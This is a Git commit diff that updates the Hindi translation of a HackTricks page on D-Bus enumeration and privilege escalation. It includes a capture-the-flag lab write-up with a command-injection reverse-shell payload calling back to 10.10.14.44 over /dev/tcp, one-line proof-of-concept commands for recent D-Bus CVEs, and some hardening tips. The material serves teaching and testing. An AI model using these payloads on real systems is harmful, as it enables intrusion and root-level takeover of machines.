mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/d-bus-enumeration-
This commit is contained in:
parent
f8270b6ac8
commit
ab8f818638
@ -4,11 +4,11 @@
|
||||
|
||||
## **GUI enumeration**
|
||||
|
||||
D-Bus का उपयोग Ubuntu डेस्कटॉप वातावरण में इंटर-प्रोसेस संचार (IPC) मध्यस्थ के रूप में किया जाता है। Ubuntu पर, कई संदेश बसों का समवर्ती संचालन देखा जाता है: सिस्टम बस, जिसे मुख्य रूप से **विशेषाधिकार प्राप्त सेवाओं द्वारा सिस्टम के पार प्रासंगिक सेवाओं को उजागर करने के लिए** उपयोग किया जाता है, और प्रत्येक लॉगिन किए गए उपयोगकर्ता के लिए एक सत्र बस, जो केवल उस विशेष उपयोगकर्ता के लिए प्रासंगिक सेवाओं को उजागर करता है। यहाँ ध्यान मुख्य रूप से सिस्टम बस पर है क्योंकि यह उच्च विशेषाधिकार (जैसे, रूट) पर चलने वाली सेवाओं से जुड़ा हुआ है क्योंकि हमारा उद्देश्य विशेषाधिकार बढ़ाना है। यह noted किया गया है कि D-Bus की आर्किटेक्चर प्रत्येक सत्र बस के लिए एक 'राउटर' का उपयोग करती है, जो क्लाइंट संदेशों को उन सेवाओं की ओर पुनर्निर्देशित करने के लिए जिम्मेदार है जिनके लिए क्लाइंट ने सेवा के लिए निर्दिष्ट पते के आधार पर संवाद करना है।
|
||||
D-Bus का उपयोग Ubuntu डेस्कटॉप वातावरण में इंटर-प्रोसेस संचार (IPC) मध्यस्थ के रूप में किया जाता है। Ubuntu पर, कई संदेश बसों का समवर्ती संचालन देखा जाता है: सिस्टम बस, जिसे मुख्य रूप से **privileged services को सिस्टम के पार प्रासंगिक सेवाओं को उजागर करने के लिए** उपयोग किया जाता है, और प्रत्येक लॉगिन किए गए उपयोगकर्ता के लिए एक सत्र बस, जो केवल उस विशेष उपयोगकर्ता के लिए प्रासंगिक सेवाओं को उजागर करता है। यहाँ ध्यान मुख्य रूप से सिस्टम बस पर है क्योंकि यह उच्च विशेषाधिकार (जैसे, root) पर चलने वाली सेवाओं से संबंधित है क्योंकि हमारा उद्देश्य विशेषाधिकार बढ़ाना है। यह noted किया गया है कि D-Bus की आर्किटेक्चर प्रत्येक सत्र बस के लिए एक 'राउटर' का उपयोग करती है, जो क्लाइंट संदेशों को उन सेवाओं की ओर पुनर्निर्देशित करने के लिए जिम्मेदार है जो क्लाइंट द्वारा उस सेवा के लिए निर्दिष्ट पते के आधार पर संचारित करना चाहते हैं।
|
||||
|
||||
D-Bus पर सेवाएँ उन **ऑब्जेक्ट्स** और **इंटरफेस** द्वारा परिभाषित की जाती हैं जो वे उजागर करती हैं। ऑब्जेक्ट्स को मानक OOP भाषाओं में वर्ग उदाहरणों के समान माना जा सकता है, प्रत्येक उदाहरण को एक **ऑब्जेक्ट पथ** द्वारा अद्वितीय रूप से पहचाना जाता है। यह पथ, फाइल सिस्टम पथ के समान, सेवा द्वारा उजागर किए गए प्रत्येक ऑब्जेक्ट को अद्वितीय रूप से पहचानता है। अनुसंधान उद्देश्यों के लिए एक प्रमुख इंटरफेस है **org.freedesktop.DBus.Introspectable** इंटरफेस, जिसमें एकल विधि, Introspect है। यह विधि ऑब्जेक्ट के समर्थित विधियों, संकेतों और गुणों का XML प्रतिनिधित्व लौटाती है, यहाँ विधियों पर ध्यान केंद्रित करते हुए गुणों और संकेतों को छोड़ दिया गया है।
|
||||
D-Bus पर सेवाएँ उन **objects** और **interfaces** द्वारा परिभाषित की जाती हैं जो वे उजागर करती हैं। Objects को मानक OOP भाषाओं में वर्ग उदाहरणों के समान माना जा सकता है, प्रत्येक उदाहरण को एक **object path** द्वारा अद्वितीय रूप से पहचाना जाता है। यह पथ, फाइल सिस्टम पथ के समान, सेवा द्वारा उजागर किए गए प्रत्येक object को अद्वितीय रूप से पहचानता है। अनुसंधान उद्देश्यों के लिए एक प्रमुख इंटरफेस है **org.freedesktop.DBus.Introspectable** इंटरफेस, जिसमें एकल विधि, Introspect है। यह विधि object के समर्थित विधियों, संकेतों, और गुणों का XML प्रतिनिधित्व लौटाती है, यहाँ विधियों पर ध्यान केंद्रित किया गया है जबकि गुणों और संकेतों को छोड़ दिया गया है।
|
||||
|
||||
D-Bus इंटरफेस के साथ संवाद करने के लिए, दो उपकरणों का उपयोग किया गया: एक CLI उपकरण जिसका नाम **gdbus** है, जो D-Bus द्वारा उजागर की गई विधियों को स्क्रिप्ट में आसानी से लागू करने के लिए है, और [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), एक Python-आधारित GUI उपकरण जो प्रत्येक बस पर उपलब्ध सेवाओं को सूचीबद्ध करने और प्रत्येक सेवा में निहित ऑब्जेक्ट्स को प्रदर्शित करने के लिए डिज़ाइन किया गया है।
|
||||
D-Bus इंटरफेस के साथ संचार के लिए, दो उपकरणों का उपयोग किया गया: एक CLI उपकरण जिसका नाम **gdbus** है जो D-Bus द्वारा स्क्रिप्ट में उजागर की गई विधियों को आसानी से लागू करने के लिए है, और [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), एक Python-आधारित GUI उपकरण जो प्रत्येक बस पर उपलब्ध सेवाओं को सूचीबद्ध करने और प्रत्येक सेवा में निहित objects को प्रदर्शित करने के लिए डिज़ाइन किया गया है।
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
@ -20,11 +20,11 @@ sudo apt-get install d-feet
|
||||
|
||||
एक महत्वपूर्ण विशेषता सेवा के **प्रक्रिया आईडी (pid)** और **कमांड लाइन** का प्रदर्शन है, जो यह पुष्टि करने के लिए उपयोगी है कि क्या सेवा उच्च विशेषाधिकारों के साथ चल रही है, जो अनुसंधान प्रासंगिकता के लिए महत्वपूर्ण है।
|
||||
|
||||
**D-Feet विधि आवाहन की भी अनुमति देता है**: उपयोगकर्ता पैरामीटर के रूप में Python अभिव्यक्तियाँ इनपुट कर सकते हैं, जिन्हें D-Feet D-Bus प्रकारों में परिवर्तित करता है और फिर सेवा को पास करता है।
|
||||
**D-Feet विधि आह्वान की अनुमति भी देता है**: उपयोगकर्ता पैरामीटर के रूप में Python अभिव्यक्तियाँ इनपुट कर सकते हैं, जिन्हें D-Feet सेवा को पास करने से पहले D-Bus प्रकारों में परिवर्तित करता है।
|
||||
|
||||
हालांकि, ध्यान दें कि **कुछ विधियों के लिए प्रमाणीकरण की आवश्यकता होती है** इससे पहले कि हमें उन्हें आवाहन करने की अनुमति दी जाए। हम इन विधियों को नजरअंदाज करेंगे, क्योंकि हमारा लक्ष्य पहले स्थान पर क्रेडेंशियल्स के बिना अपने विशेषाधिकारों को बढ़ाना है।
|
||||
हालांकि, ध्यान दें कि **कुछ विधियों के लिए प्रमाणीकरण की आवश्यकता होती है** इससे पहले कि हमें उन्हें आह्वान करने की अनुमति दी जाए। हम इन विधियों को नजरअंदाज करेंगे, क्योंकि हमारा लक्ष्य पहले स्थान पर बिना क्रेडेंशियल्स के अपने विशेषाधिकारों को बढ़ाना है।
|
||||
|
||||
यह भी ध्यान दें कि कुछ सेवाएँ एक अन्य D-Bus सेवा org.freedeskto.PolicyKit1 से प्रश्न करती हैं कि क्या किसी उपयोगकर्ता को निश्चित क्रियाएँ करने की अनुमति दी जानी चाहिए या नहीं।
|
||||
यह भी ध्यान दें कि कुछ सेवाएँ एक अन्य D-Bus सेवा का प्रश्न करती हैं जिसका नाम org.freedeskto.PolicyKit1 है, यह निर्धारित करने के लिए कि क्या किसी उपयोगकर्ता को कुछ क्रियाएँ करने की अनुमति दी जानी चाहिए या नहीं।
|
||||
|
||||
## **Cmd line Enumeration**
|
||||
|
||||
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### Connections
|
||||
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) जब एक प्रक्रिया एक बस से कनेक्शन स्थापित करती है, तो बस उस कनेक्शन को एक विशेष बस नाम सौंपती है जिसे _विशिष्ट कनेक्शन नाम_ कहा जाता है। इस प्रकार के बस नाम अपरिवर्तनीय होते हैं—यह सुनिश्चित किया गया है कि जब तक कनेक्शन मौजूद है, वे नहीं बदलेंगे—और, अधिक महत्वपूर्ण, उन्हें बस के जीवनकाल के दौरान पुन: उपयोग नहीं किया जा सकता। इसका मतलब है कि उस बस के लिए कोई अन्य कनेक्शन कभी भी ऐसा विशिष्ट कनेक्शन नाम नहीं प्राप्त करेगा, भले ही वही प्रक्रिया बस के कनेक्शन को बंद कर दे और एक नया बनाए। विशिष्ट कनेक्शन नाम आसानी से पहचाने जा सकते हैं क्योंकि वे—अन्यथा निषिद्ध—कोलन वर्ण से शुरू होते हैं।
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) जब एक प्रक्रिया एक बस से कनेक्शन स्थापित करती है, तो बस उस कनेक्शन को एक विशेष बस नाम सौंपती है जिसे _विशिष्ट कनेक्शन नाम_ कहा जाता है। इस प्रकार के बस नाम अपरिवर्तनीय होते हैं—यह सुनिश्चित किया गया है कि जब तक कनेक्शन मौजूद है, वे नहीं बदलेंगे—और, अधिक महत्वपूर्ण, इन्हें बस के जीवनकाल के दौरान पुन: उपयोग नहीं किया जा सकता। इसका मतलब है कि उस बस के लिए कोई अन्य कनेक्शन कभी भी ऐसा विशिष्ट कनेक्शन नाम नहीं प्राप्त करेगा, भले ही वही प्रक्रिया बस के कनेक्शन को बंद कर दे और एक नया बनाए। विशिष्ट कनेक्शन नाम आसानी से पहचाने जा सकते हैं क्योंकि वे—अन्यथा निषिद्ध—कोलन वर्ण से शुरू होते हैं।
|
||||
|
||||
### Service Object Info
|
||||
|
||||
@ -132,7 +132,7 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
```
|
||||
### Introspect Interface of a Service Object
|
||||
|
||||
ध्यान दें कि इस उदाहरण में `tree` पैरामीटर का उपयोग करके नवीनतम इंटरफ़ेस का चयन किया गया है (_पिछले अनुभाग को देखें_):
|
||||
ध्यान दें कि इस उदाहरण में `tree` पैरामीटर का उपयोग करके खोजी गई नवीनतम इंटरफ़ेस का चयन किया गया है (_पिछले अनुभाग को देखें_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
@ -150,24 +150,24 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
ध्यान दें कि इंटरफेस `.Block` का तरीका `htb.oouch.Block` (जिसमें हमारी रुचि है)। अन्य कॉलम का "s" यह संकेत कर सकता है कि यह एक स्ट्रिंग की अपेक्षा कर रहा है।
|
||||
ध्यान दें कि इंटरफेस `htb.oouch.Block` का तरीका `.Block` (जिसमें हम रुचि रखते हैं) है। अन्य कॉलम का "s" यह दर्शा सकता है कि यह एक स्ट्रिंग की अपेक्षा कर रहा है।
|
||||
|
||||
### मॉनिटर/कैप्चर इंटरफेस
|
||||
|
||||
पर्याप्त विशेषाधिकारों के साथ (केवल `send_destination` और `receive_sender` विशेषाधिकार पर्याप्त नहीं हैं) आप **D-Bus संचार** की **निगरानी** कर सकते हैं।
|
||||
पर्याप्त विशेषाधिकारों के साथ (केवल `send_destination` और `receive_sender` विशेषाधिकार पर्याप्त नहीं हैं) आप **D-Bus संचार** को **मॉनिटर** कर सकते हैं।
|
||||
|
||||
**संचार** की **निगरानी** करने के लिए आपको **रूट** होना आवश्यक है। यदि आप रूट होने में अभी भी समस्याएँ पा रहे हैं तो [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) और [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) की जांच करें।
|
||||
**संचार** को **मॉनिटर** करने के लिए आपको **रूट** होना आवश्यक है। यदि आप रूट होने में अभी भी समस्याएँ पा रहे हैं तो [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) और [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) की जांच करें।
|
||||
|
||||
> [!WARNING]
|
||||
> यदि आप जानते हैं कि D-Bus कॉन्फ़िग फ़ाइल को **गैर-रूट उपयोगकर्ताओं को संचार को स्निफ़ करने** की अनुमति देने के लिए कैसे कॉन्फ़िगर करना है, तो कृपया **मुझसे संपर्क करें**!
|
||||
> यदि आप जानते हैं कि D-Bus कॉन्फ़िग फ़ाइल को **गैर-रूट उपयोगकर्ताओं को संचार को स्निफ़ करने की अनुमति देने** के लिए कैसे कॉन्फ़िगर करना है, तो कृपया **मुझसे संपर्क करें**!
|
||||
|
||||
निगरानी करने के विभिन्न तरीके:
|
||||
मॉनिटर करने के विभिन्न तरीके:
|
||||
```bash
|
||||
sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
इस उदाहरण में इंटरफ़ेस `htb.oouch.Block` की निगरानी की जाती है और **संदेश "**_**lalalalal**_**" गलत संचार के माध्यम से भेजा जाता है**:
|
||||
इस उदाहरण में इंटरफेस `htb.oouch.Block` की निगरानी की जाती है और **संदेश "**_**lalalalal**_**" गलत संचार के माध्यम से भेजा जाता है**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
@ -202,15 +202,15 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
[D-Bus दस्तावेज़ीकरण](http://dbus.freedesktop.org/doc/dbus-specification.html) में मैच नियम सिंटैक्स के बारे में अधिक जानकारी के लिए देखें।
|
||||
[D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) पर मैच नियम सिंटैक्स के बारे में अधिक जानकारी के लिए देखें।
|
||||
|
||||
### अधिक
|
||||
|
||||
`busctl` में और भी विकल्प हैं, [**सभी विकल्प यहाँ खोजें**](https://www.freedesktop.org/software/systemd/man/busctl.html)。
|
||||
`busctl` में और भी विकल्प हैं, [**सभी विकल्प यहाँ खोजें**](https://www.freedesktop.org/software/systemd/man/busctl.html)।
|
||||
|
||||
## **कमजोर परिदृश्य**
|
||||
## **संवेदनशील परिदृश्य**
|
||||
|
||||
उपयोगकर्ता **qtc, होस्ट "oouch" से HTB** के रूप में, आप एक **अप्रत्याशित D-Bus कॉन्फ़िग फ़ाइल** पा सकते हैं जो _/etc/dbus-1/system.d/htb.oouch.Block.conf_ में स्थित है:
|
||||
उपयोगकर्ता **qtc जो होस्ट "oouch" से HTB में है** के रूप में आप एक **अप्रत्याशित D-Bus कॉन्फ़िग फ़ाइल** पाएंगे जो _/etc/dbus-1/system.d/htb.oouch.Block.conf_ में स्थित है:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
@ -231,9 +231,9 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
|
||||
</busconfig>
|
||||
```
|
||||
पिछली कॉन्फ़िगरेशन से नोट करें कि **आपको इस D-BUS संचार के माध्यम से जानकारी भेजने और प्राप्त करने के लिए `root` या `www-data` उपयोगकर्ता होना आवश्यक है।**
|
||||
पिछली कॉन्फ़िगरेशन से नोट करें कि **आपको इस D-BUS संचार के माध्यम से जानकारी भेजने और प्राप्त करने के लिए `root` या `www-data` उपयोगकर्ता होना आवश्यक है**।
|
||||
|
||||
उपयोगकर्ता **qtc** के रूप में डॉकर कंटेनर **aeb4525789d8** के अंदर, आप फ़ाइल _/code/oouch/routes.py_ में कुछ dbus से संबंधित कोड पा सकते हैं। यह दिलचस्प कोड है:
|
||||
डॉकर कंटेनर **aeb4525789d8** के अंदर उपयोगकर्ता **qtc** के रूप में, आप फ़ाइल _/code/oouch/routes.py_ में कुछ dbus से संबंधित कोड पा सकते हैं। यह दिलचस्प कोड है:
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
@ -247,12 +247,12 @@ return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
जैसा कि आप देख सकते हैं, यह **D-Bus इंटरफेस से कनेक्ट हो रहा है** और **"Block" फ़ंक्शन** को "client_ip" भेज रहा है।
|
||||
|
||||
D-Bus कनेक्शन के दूसरी ओर कुछ C संकलित बाइनरी चल रही है। यह कोड **D-Bus कनेक्शन में IP पते के लिए सुन रहा है और दिए गए IP पते को ब्लॉक करने के लिए iptables को `system` फ़ंक्शन के माध्यम से कॉल कर रहा है।**\
|
||||
D-Bus कनेक्शन के दूसरी ओर कुछ C संकलित बाइनरी चल रही है। यह कोड **D-Bus कनेक्शन में IP पते के लिए सुन रहा है और `system` फ़ंक्शन के माध्यम से iptables को कॉल कर रहा है** ताकि दिए गए IP पते को ब्लॉक किया जा सके।\
|
||||
**`system` को कॉल करना जानबूझकर कमांड इंजेक्शन के लिए संवेदनशील है**, इसलिए निम्नलिखित जैसे एक पेलोड एक रिवर्स शेल बनाएगा: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### इसका लाभ उठाएं
|
||||
|
||||
इस पृष्ठ के अंत में आप **D-Bus एप्लिकेशन का पूरा C कोड** पा सकते हैं। इसके अंदर आप पंक्तियों 91-97 के बीच **कैसे `D-Bus ऑब्जेक्ट पथ`** **और `इंटरफेस नाम`** **पंजीकृत** हैं, यह जान सकते हैं। यह जानकारी D-Bus कनेक्शन में जानकारी भेजने के लिए आवश्यक होगी:
|
||||
इस पृष्ठ के अंत में आप **D-Bus एप्लिकेशन का पूरा C कोड** पा सकते हैं। इसके अंदर आप पंक्तियों 91-97 के बीच **कैसे `D-Bus ऑब्जेक्ट पथ`** **और `इंटरफेस नाम`** **पंजीकृत** हैं, यह देख सकते हैं। यह जानकारी D-Bus कनेक्शन में जानकारी भेजने के लिए आवश्यक होगी:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
@ -262,7 +262,7 @@ r = sd_bus_add_object_vtable(bus,
|
||||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
इसके अलावा, लाइन 57 में आप देख सकते हैं कि **इस D-Bus संचार के लिए केवल एक विधि पंजीकृत है** जिसे `Block` कहा जाता है (_**इसलिए अगले अनुभाग में पेलोड सेवा वस्तु `htb.oouch.Block`, इंटरफ़ेस `/htb/oouch/Block` और विधि नाम `Block` पर भेजे जाने वाले हैं**_):
|
||||
इसके अलावा, लाइन 57 में आप देख सकते हैं कि **इस D-Bus संचार के लिए पंजीकृत एकमात्र विधि** को `Block` कहा जाता है (_**इसलिए अगले अनुभाग में पेलोड को सेवा वस्तु `htb.oouch.Block`, इंटरफेस `/htb/oouch/Block` और विधि नाम `Block` पर भेजा जाएगा**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
@ -283,11 +283,11 @@ bus.close()
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
- `dbus-send` एक उपकरण है जिसका उपयोग "Message Bus" को संदेश भेजने के लिए किया जाता है।
|
||||
- Message Bus – एक सॉफ़्टवेयर जो सिस्टम द्वारा अनुप्रयोगों के बीच संचार को आसान बनाने के लिए उपयोग किया जाता है। यह Message Queue से संबंधित है (संदेश क्रम में व्यवस्थित होते हैं) लेकिन Message Bus में संदेश एक सदस्यता मॉडल में भेजे जाते हैं और यह बहुत तेज़ भी होते हैं।
|
||||
- Message Bus – एक सॉफ़्टवेयर है जिसका उपयोग सिस्टम द्वारा अनुप्रयोगों के बीच संचार को आसान बनाने के लिए किया जाता है। यह Message Queue से संबंधित है (संदेश क्रम में व्यवस्थित होते हैं) लेकिन Message Bus में संदेश एक सदस्यता मॉडल में भेजे जाते हैं और यह बहुत तेज़ भी होते हैं।
|
||||
- “-system” टैग का उपयोग यह बताने के लिए किया जाता है कि यह एक सिस्टम संदेश है, न कि एक सत्र संदेश (डिफ़ॉल्ट रूप से)।
|
||||
- “–print-reply” टैग का उपयोग हमारे संदेश को उचित रूप से प्रिंट करने और किसी भी उत्तर को मानव-पठनीय प्रारूप में प्राप्त करने के लिए किया जाता है।
|
||||
- “–dest=Dbus-Interface-Block” Dbus इंटरफ़ेस का पता है।
|
||||
- “–string:” – संदेश का प्रकार जिसे हम इंटरफ़ेस को भेजना चाहते हैं। संदेश भेजने के कई प्रारूप हैं जैसे डबल, बाइट्स, बूलियन, इंट, ऑब्जेक्ट पाथ। इनमें से, "ऑब्जेक्ट पाथ" तब उपयोगी होता है जब हम Dbus इंटरफ़ेस को एक फ़ाइल का पाथ भेजना चाहते हैं। इस मामले में, हम एक विशेष फ़ाइल (FIFO) का उपयोग कर सकते हैं ताकि फ़ाइल के नाम पर इंटरफ़ेस को एक कमांड पास किया जा सके। “string:;” – यह ऑब्जेक्ट पाथ को फिर से कॉल करने के लिए है जहाँ हम FIFO रिवर्स शेल फ़ाइल/कमांड रखते हैं।
|
||||
- “–string:” – संदेश का प्रकार जिसे हम इंटरफ़ेस को भेजना चाहते हैं। संदेश भेजने के कई प्रारूप हैं जैसे डबल, बाइट्स, बूलियन, int, objpath। इनमें से, "object path" तब उपयोगी होता है जब हम Dbus इंटरफ़ेस को फ़ाइल का पथ भेजना चाहते हैं। इस मामले में, हम एक विशेष फ़ाइल (FIFO) का उपयोग कर सकते हैं ताकि फ़ाइल के नाम पर इंटरफ़ेस को एक कमांड पास किया जा सके। “string:;” – यह फिर से object path को कॉल करने के लिए है जहाँ हम FIFO रिवर्स शेल फ़ाइल/कमांड रखते हैं।
|
||||
|
||||
_ध्यान दें कि `htb.oouch.Block.Block` में, पहला भाग (`htb.oouch.Block`) सेवा वस्तु को संदर्भित करता है और अंतिम भाग (`.Block`) विधि नाम को संदर्भित करता है।_
|
||||
|
||||
@ -432,7 +432,74 @@ sd_bus_unref(bus);
|
||||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
}
|
||||
```
|
||||
## संदर्भ
|
||||
## Automated Enumeration Helpers (2023-2025)
|
||||
|
||||
D-Bus हमले की बड़ी सतह का मैन्युअल रूप से `busctl`/`gdbus` के साथ एन्यूमरेशन करना जल्दी ही दर्दनाक हो जाता है। पिछले कुछ वर्षों में जारी किए गए दो छोटे FOSS उपयोगिताएँ रेड-टीम या CTF एंगेजमेंट के दौरान चीजों को तेज कर सकती हैं:
|
||||
|
||||
### dbusmap ("Nmap for D-Bus")
|
||||
* लेखक: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||||
* C में लिखा गया; एकल स्थिर बाइनरी (<50 kB) जो हर ऑब्जेक्ट पथ पर चलती है, `Introspect` XML खींचती है और इसे मालिक PID/UID से मैप करती है।
|
||||
* उपयोगी फ्लैग्स:
|
||||
```bash
|
||||
# *system* बस पर हर सेवा की सूची बनाएं और सभी कॉल करने योग्य विधियों को डंप करें
|
||||
sudo dbus-map --dump-methods
|
||||
|
||||
# उन विधियों/गुणों की सक्रिय रूप से जांच करें जिन तक आप बिना Polkit प्रॉम्प्ट के पहुंच सकते हैं
|
||||
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
```
|
||||
* यह उपकरण बिना सुरक्षा के प्रसिद्ध नामों को `!` के साथ चिह्नित करता है, तुरंत उन सेवाओं को प्रकट करता है जिन्हें आप *own* (कब्जा करना) या उन विधि कॉल्स को जो एक अप्रिविलेज्ड शेल से पहुंच योग्य हैं।
|
||||
|
||||
### uptux.py
|
||||
* लेखक: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
* केवल Python स्क्रिप्ट जो systemd यूनिट्स में *लिखने योग्य* पथों **और** अत्यधिक अनुमति वाले D-Bus नीति फ़ाइलों (जैसे `send_destination="*"` ) की तलाश करती है।
|
||||
* त्वरित उपयोग:
|
||||
```bash
|
||||
python3 uptux.py -n # सभी जांचें चलाएं लेकिन लॉग फ़ाइल न लिखें
|
||||
python3 uptux.py -d # विस्तृत डिबग आउटपुट सक्षम करें
|
||||
```
|
||||
* D-Bus मॉड्यूल नीचे दिए गए निर्देशिकाओं की खोज करता है और किसी भी सेवा को उजागर करता है जिसे एक सामान्य उपयोगकर्ता द्वारा धोखा दिया या हाईजैक किया जा सकता है:
|
||||
* `/etc/dbus-1/system.d/` और `/usr/share/dbus-1/system.d/`
|
||||
* `/etc/dbus-1/system-local.d/` (विक्रेता ओवरराइड)
|
||||
|
||||
---
|
||||
|
||||
## Notable D-Bus Privilege-Escalation Bugs (2024-2025)
|
||||
|
||||
हाल ही में प्रकाशित CVEs पर नज़र रखना कस्टम कोड में समान असुरक्षित पैटर्न को पहचानने में मदद करता है। निम्नलिखित उच्च-प्रभाव वाले स्थानीय EoP मुद्दे सभी **system bus** पर प्रमाणीकरण/अधिकार की कमी से उत्पन्न होते हैं:
|
||||
|
||||
| वर्ष | CVE | घटक | मूल कारण | One-Liner PoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HID डेमॉन) | `logid` सिस्टम सेवा एक अनियंत्रित `org.freedesktop.Logiopsd` इंटरफेस को उजागर करती है जो *किसी भी* उपयोगकर्ता को डिवाइस प्रोफाइल बदलने और मैक्रो स्ट्रिंग्स के माध्यम से मनमाने शेल कमांड इंजेक्ट करने की अनुमति देती है। | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | एक रूट-चलने वाला प्रॉक्सी पुराने बस नामों को बैकएंड सेवाओं की ओर अग्रेषित करता है **बिना कॉलर UID/Polkit संदर्भ को अग्रेषित किए**, इसलिए हर अग्रेषित अनुरोध UID 0 के रूप में माना जाता है। | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | सार्वजनिक `Dispatch` विधि में कोई ACLs नहीं हैं → हमलावर *पैकेज-मैनेजर* कार्यकर्ता को मनमाने RPMs स्थापित करने का आदेश दे सकता है। | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
ध्यान देने योग्य पैटर्न:
|
||||
1. सेवा **system bus पर रूट के रूप में चलती है**।
|
||||
2. कोई PolicyKit जांच नहीं (या इसे एक प्रॉक्सी द्वारा बायपास किया गया है)।
|
||||
3. विधि अंततः `system()`/पैकेज स्थापना/डिवाइस पुनः कॉन्फ़िगरेशन की ओर ले जाती है → कोड निष्पादन।
|
||||
|
||||
`dbusmap --enable-probes` या मैनुअल `busctl call` का उपयोग करें यह पुष्टि करने के लिए कि क्या एक पैच उचित `polkit_authority_check_authorization()` लॉजिक को बैक-पोर्ट करता है।
|
||||
|
||||
---
|
||||
|
||||
## Hardening & Detection Quick-Wins
|
||||
|
||||
* विश्व-लिखने योग्य या *send/receive*-खुले नीतियों की खोज करें:
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* खतरनाक विधियों के लिए Polkit की आवश्यकता – यहां तक कि *root* प्रॉक्सी को `polkit_authority_check_authorization_sync()` को अपने स्वयं के PID के बजाय *caller* PID को पास करना चाहिए।
|
||||
* लंबे समय तक चलने वाले सहायक में विशेषाधिकार छोड़ें (बस से कनेक्ट करने के बाद namespaces को स्विच करने के लिए `sd_pid_get_owner_uid()` का उपयोग करें)।
|
||||
* यदि आप एक सेवा को हटा नहीं सकते हैं, तो कम से कम इसे एक समर्पित Unix समूह तक *scope* करें और इसकी XML नीति में पहुंच को प्रतिबंधित करें।
|
||||
* ब्लू-टीम: `busctl capture --output=/var/log/dbus_$(date +%F).pcap` के साथ सिस्टम बस की स्थायी कैप्चर सक्षम करें और विसंगति पहचान के लिए Wireshark में आयात करें।
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
|
||||
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user